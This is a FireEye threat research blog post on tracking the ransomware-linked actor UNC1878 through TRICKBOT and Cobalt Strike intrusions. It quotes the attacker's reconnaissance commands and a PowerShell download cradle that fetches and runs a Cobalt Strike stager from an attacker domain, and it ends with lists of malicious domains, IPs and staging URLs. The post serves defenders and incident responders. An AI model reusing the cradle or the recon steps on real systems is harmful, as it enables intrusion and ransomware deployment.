# It’s Your Money and They Want It Now — The Cycle of Adversary Pursuit

fireeye.com/blog/threat-research/2020/03/the-cycle-of-adversary-pursuit.html

Threat Research

Van Ta, Aaron Stephens

Mar 31, 2020

9 mins read

Incident Response

Threat Research

When we discover new intrusions, we ask ourselves questions that will help us understand the totality of the activity set.

How common is this activity? Is there anything unique or special about this malware or campaign? What is new and what is old in terms of TTPs or infrastructure? Is this being seen anywhere else? What information do I have that substantiates the nature of this threat actor?

To track a fast-moving adversary over time, we exploit organic intrusion data, pivot to other data sets, and make that knowledge actionable for analysts and incident responders, enabling new discoveries and assessments on the actor. The FireEye Advanced Practices team exists to know more about the adversary than anyone else, and by asking and answering questions such as these, we enable analyst action in security efforts. In this blog post, we highlight how our cycle of identification, expansion, and discovery was used to track a financially motivated actor across FireEye’s global data sets.

### Identification

On January 29, 2020, FireEye Managed Defense investigated multiple TRICKBOT deployments against a U.S. based client. Shortly after initial deployment, TRICKBOT’s networkDll module ran the following network reconnaissance commands (Figure 1).

```
ipconfig /all
net config workstation
net view /all
net view /all /domain
nltest /domain_trusts
nltest /domain_trusts /all_trusts
```

Figure 1: Initial Reconnaissance

Approximately twenty minutes after reconnaissance, the adversary ran a PowerShell command to download and execute a Cobalt Strike HTTPS BEACON stager in memory (Figure 2).

```
cmd.exe /c powershell.exe -nop –w hidden –c “IEX ((new-object
net.webclient).downloadstring(‘hxxps://cylenceprotect[.]com:80/abresgbserthgsbabrt’))”
```

Figure 2: PowerShell download cradle used to request a Cobalt Strike stager

Six minutes later, Managed Defense identified evidence of enumeration and attempted lateral movement through the BEACON implant. Managed Defense alerted the client of the activity and the affected hosts were contained, stopping the intrusion in its tracks. A delta of approximately forty-six minutes between a TRICKBOT infection and attempted lateral movement was highly unusual and, along with the clever masquerade domain, warranted further examination by our team.

Although light, indicators from this intrusion were distinct enough to create an uncategorized threat group, referred to as UNC1878. At the time of initial clustering, UNC1878’s intent was not fully understood due to the rapid containment of the intrusion by Managed Defense. By creating this label, we are able to link activity from the Managed Defense investigation into a single entity, allowing us to expand our understanding of this group and track their activity over time. This is especially important when dealing with campaigns involving mass malware, as it helps delineate the interactive actor from the malware campaign they are leveraging. For more information on our clustering methodology, check out our post about how we analyze, separate, or merge these clusters at scale.

## Expansion

Pivoting on the command and control (C2) domain allowed us to begin building a profile of UNC1878 network infrastructure. WHOIS records for cylenceprotect[.]com (Figure 3)revealed that the domain was registered on January 27, 2020, with the registrar "Hosting Concepts B.V. d/b/a Openprovider", less than two days before we saw this domain used in activity impacting the Managed Defense customer.

```
Domain Name: cylenceprotect.com
Registry Domain ID: 2485487352_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.registrar.eu
Registrar URL: http://www.registrar.eu
Updated Date: 2020-01-28T00:35:43Z
Creation Date: 2020-01-27T23:32:18Z
Registrar Registration Expiration Date: 2021-01-27T23:32:18Z
Registrar: Hosting Concepts B.V. d/b/a Openprovider
```

Figure 3: WHOIS record for the domain cylenceprotect[.]com

Turning our attention to the server, the domain resolved to 45.76.20.140, an IP address owned by the VPS provider Choopa. In addition, the domain used self-hosted name servers ns1.cylenceprotect[.]com and ns2.cylenceprotect[.]com, which also resolved to the Choopa IP address. Network scan data for the server uncovered a certificate on port 80 and 443, a snippet of which can be seen in Figure 4.

```
Certificate:
  Data:
    Version: 3 (0x2)
    Serial Number:
      03:a8:60:02:c7:dd:7f:88:5f:2d:86:0d:88:41:e5:3e:25:f0
  Signature Algorithm: sha256WithRSAEncryption
    Issuer: C=US, O=Let's Encrypt, CN=Let's Encrypt Authority X3
    Validity
      Not Before: Jan 28 02:02:14 2020 GMT
      Not After : Apr 27 02:02:14 2020 GMT
    Subject: CN=cylenceprotect[.]com
```

Figure 4: TLS Certificate for the domain cylenceprotect[.]com

The certificate was issued by Let’s Encrypt, with the earliest validity date within 24 hours of the activity detected by Managed Defense, substantiating the speed in which this threat actor operates. Along with the certificate in Figure 4, we also identified the default generated, self-signed Cobalt Strike certificate (Figure 5) on port 54546 (50050 by default).

```
Certificate:
  Data:
    Version: 3 (0x2)
    Serial Number: 1843990795 (0x6de9110b)
  Signature Algorithm: sha256WithRSAEncryption
    Issuer: C=Earth, ST=Cyberspace, L=Somewhere, O=cobaltstrike, OU=AdvancedPenTesting, CN=Major Cobalt Strike
    Validity
      Not Before: Jan 28 03:06:30 2020 GMT
      Not After : Apr 27 03:06:30 2020 GMT
    Subject: C=Earth, ST=Cyberspace, L=Somewhere, O=cobaltstrike, OU=AdvancedPenTesting, CN=Major Cobalt Strike
```

Figure 5: Default Cobalt Strike TLS Certificate used by UNC1878

Similar to the certificate on port 80 and 443, the earliest validity date was again within 24 hours of the intrusion identified by Managed Defense. Continuing analysis on the server, we acquired the BEACON stager and subsequent BEACON payload, which was configured to use the Amazon malleable C2 profile.

While these indicators may not hold significant weight on their own, together they create a recognizable pattern to fuel proactive discovery of related infrastructure. We began hunting for servers that exhibited the same characteristics as those used by UNC1878. Using third-party scan data, we quickly identified additional servers that matched a preponderance of UNC1878 tradecraft:

- Domains typically comprised of generic IT or security related terms such as “update”, “system”, and “service”.
- Domains registered with “Hosting Concepts B.V. d/b/a Openprovider" as early as December 19, 2019.
- Self-hosted name servers.
- Let’s Encrypt certificates on port 80.
- Virtual private servers hosted predominantly by Choopa.
- BEACON payloads configured with the Amazon malleable C2 profile.
- Cobalt Strike Teams Servers on non-standard ports.

Along with certificates matching UNC1878 tradecraft, we also found self-signed Armitage certificates, indicating this group may use multiple offensive security tools.

Pivoting on limited indicators extracted from a single Managed Defense intrusion, a small cluster of activity was expanded into a more diverse set of indicators cardinal to UNC1878. While the objective and goal of this threat actor had not yet manifested, the correlation of infrastructure allowed our team to recognize this threat actor’s operations against other customers.

## Discovery

With an established modus operandi for UNC1878, our team quickly identified several related intrusions in support of FireEye Mandiant investigations over the next week. Within two days of our initial clustering and expansion of UNC1878 from the original Managed Defense investigation, Mandiant Incident Responders were investigating activity at a U.S. based medical equipment company with several indicators we had previously identified and attributed to UNC1878. Attributed domains, payloads and methodologies provided consultants with a baseline to build detections on, as well as a level of confidence in the actor’s capabilities and speed in which they operate.

Three days later, UNC1878 was identified during another incident response engagement at a restaurant chain. In this engagement, Mandiant consultants found evidence of attempted deployment of RYUK ransomware on hundreds of systems, finally revealing UNC1878’s desired end goal. In the following weeks, we continued to encounter UNC1878 in various phases of their intrusions at several Mandiant Incident Response and Managed Defense customers.

While services data offers us a depth of understanding into these intrusions, we turn to our product telemetry to understand the breadth of activity, getting a better worldview and perspective on the global prevalence of this threat actor. This led to the discovery of an UNC1878 intrusion at a technology company, resulting in Mandiant immediately notifying the affected customer. By correlating multiple UNC1878 intrusions across our services and product customers, it became evident that the targeting was indiscriminate, a common characteristic of opportunistic ransomware campaigns.

Although initially there were unanswered questions surrounding UNC1878’s intent, we were able to provide valuable insights into their capabilities to our consultants and analysts. In turn, the intrusion data gathered during these engagements continued the cycle of building our understanding of UNC1878’s tradecraft, enabling our responders to handle these incidents swiftly in the face of imminent ransomware deployment.

## Conclusion

Threat actors continue to use mass malware campaigns to establish footholds into target environments, followed by interactive operations focused on deploying ransomware such as RYUK, DOPPLEPAYMER and MAZE. Looking at the overall trend of intrusions FireEye responds to, the growing shift from traditional PCI theft to ransomware has allowed threat actors such as UNC1878 to widen their scope and increase their tempo, costing organizations millions of dollars due to business disruption and ransom payments. However, apart from their speed, UNC1878 does not stand out among the increasing number of groups following this trend, and should not be the key takeaway of this blog post.

The cycle of analysis and discovery used for UNC1878 lies at the core of our team’s mission to rapidly detect and pursue impactful adversaries at scale. Starting from a singular intrusion at a Managed Defense client, we were able to discover UNC1878 activity at multiple customers. Using our analysis of the early stages of their activity allowed us to pivot and pursue this actor across otherwise unrelated investigations. As we refine and expand our understanding of UNC1878’s tradecraft, our team enables Mandiant and Managed Defense to efficiently identify, respond to, and eradicate a financially motivated threat actor whose end goal could cripple targeted organizations. The principles applied in pursuit of this actor are crucial to tracking any adversary and are ultimately how the Advanced Practices team surfaces meaningful activity across the FireEye ecosystem.

### Acknowledgements

Thank you to Andrew Thompson, Dan Perez, Steve Miller, John Gorman and Brendan McKeague for technical review of this content. In addition, thank you to the frontline responders harvesting valuable intrusion data that enables our research.

### Indicators of Compromise

*Domains*

- aaatus[.]com
- avrenew[.]com
- besttus[.]com
- bigtus[.]com
- brainschampions[.]com
- checkwinupdate[.]com
- ciscocheckapi[.]com
- cleardefencewin[.]com
- cmdupdatewin[.]com
- comssite[.]com
- conhostservice[.]com
- cylenceprotect[.]com
- defenswin[.]com
- easytus[.]com
- findtus[.]com
- firsttus[.]com
- freeallsafe[.]com
- freeoldsafe[.]com
- greattus[.]com
- havesetup[.]net
- iexploreservice[.]com
- jomamba[.]best
- livecheckpointsrs[.]com
- livetus[.]com
- lsassupdate[.]com
- lsasswininfo[.]com
- microsoftupdateswin[.]com
- myservicebooster[.]com
- myservicebooster[.]net
- myserviceconnect[.]net
- myserviceupdater[.]com
- myyserviceupdater[.]com
- renovatesystem[.]com
- service-updater[.]com
- servicesbooster[.]com
- servicesbooster[.]org
- servicesecurity[.]org
- serviceshelpers[.]com
- serviceupdates[.]net
- serviceuphelper[.]com
- sophosdefence[.]com
- target-support[.]online

- taskshedulewin[.]com
- timesshifts[.]com
- topsecurityservice[.]net
- topservicehelper[.]com
- topservicesbooster[.]com
- topservicesecurity[.]com
- topservicesecurity[.]net
- topservicesecurity[.]org
- topservicesupdate[.]com
- topservicesupdates[.]com
- topserviceupdater[.]com
- update-wind[.]com
- updatemanagir[.]us
- updatewinlsass[.]com
- updatewinsoftr[.]com
- web-analysis[.]live
- windefenceinfo[.]com
- windefens[.]com
- winsysteminfo[.]com
- winsystemupdate[.]com
- worldtus[.]com
- yoursuperservice[.]com

*IP Addresses*

- 31.7.59.141
- 45.32.30.162
- 45.32.130.5
- 45.32.161.213
- 45.32.170.9
- 45.63.8.219
- 45.63.95.187
- 45.76.20.140
- 45.76.167.35
- 45.76.231.195
- 45.77.58.172
- 45.77.89.31
- 45.77.98.157
- 45.77.119.212
- 45.77.153.72
- 45.77.206.105
- 63.209.33.131
- 66.42.97.225
- 66.42.99.79
- 79.124.60.117
- 80.240.18.106
- 81.17.25.210
- 95.179.147.215
- 95.179.210.8
- 95.179.215.228
- 96.30.192.141
- 96.30.193.57
- 104.156.227.250
- 104.156.245.0
- 104.156.250.132
- 104.156.255.79
- 104.238.140.239
- 104.238.190.126
- 108.61.72.29
- 108.61.90.90
- 108.61.176.237
- 108.61.209.123

- 108.61.242.184
- 140.82.5.67
- 140.82.10.222
- 140.82.27.146
- 140.82.60.155
- 144.202.12.197
- 144.202.83.4
- 149.28.15.247
- 149.28.35.35
- 149.28.50.31
- 149.28.55.197
- 149.28.81.19
- 149.28.113.9
- 149.28.122.130
- 149.28.246.25
- 149.248.5.240
- 149.248.56.113
- 149.248.58.11
- 151.106.56.223
- 155.138.135.182
- 155.138.214.247
- 155.138.216.133
- 155.138.224.221
- 207.148.8.61
- 207.148.15.31
- 207.148.21.17
- 207.246.67.70
- 209.222.108.106
- 209.250.255.172
- 216.155.157.249
- 217.69.15.175

*BEACON Staging URLs*

- hxxp://104.156.255[.]79:80/avbcbgfyhunjmkmk
- hxxp://149.28.50[.]31:80/adsrxdfcffdxfdsgfxzxds
- hxxp://149.28.81[.]19:80/ajdlkashduiqwhuyeu12312g3yugshdahqjwgye1g2uy31u1
- hxxp://45.32.161[.]213:80/ephfusaybuzabegaexbkakskjfgksajgbgfckskfnrdgnkhdsnkghdrngkhrsngrhgcngyggfxbgufgenwfxwgfeuyenfgx
- hxxp://45.63.8[.]219:80/ajhgfrtyujhytr567uhgfrt6y789ijhg
- hxxp://66.42.97[.]225:80/aqedfy345yu9876red45f6g78j90
- hxxp://findtus[.]com/akkhujhbjcjcjhufuuljlvu
- hxxp://thedemocraticpost[.]com/kflmgkkjdfkmkfl
- hxxps://brainschampions[.]com:443/atrsgrtehgsetrh5ge
- hxxps://ciscocheckapi[.]com:80/adsgsergesrtvfdvsa
- hxxps://cylenceprotect[.]com:80/abresgbserthgsbabrt
- hxxps://havesetup[.]net/afgthyjuhtgrfety
- hxxps://servicesbooster[.]org:443/sfer4f54
- hxxps://servicesecurity[.]org:443/fuhvbjk
- hxxps://timesshifts[.]com:443/akjhtyrdtfyguhiugyft
- hxxps://timesshifts[.]com:443/ry56rt6yh5rth
- hxxps://update-wind[.]com/aergerhgrhgeradgerg
- hxxps://updatemanagir[.]us:80/afvSfaewfsdZFAesf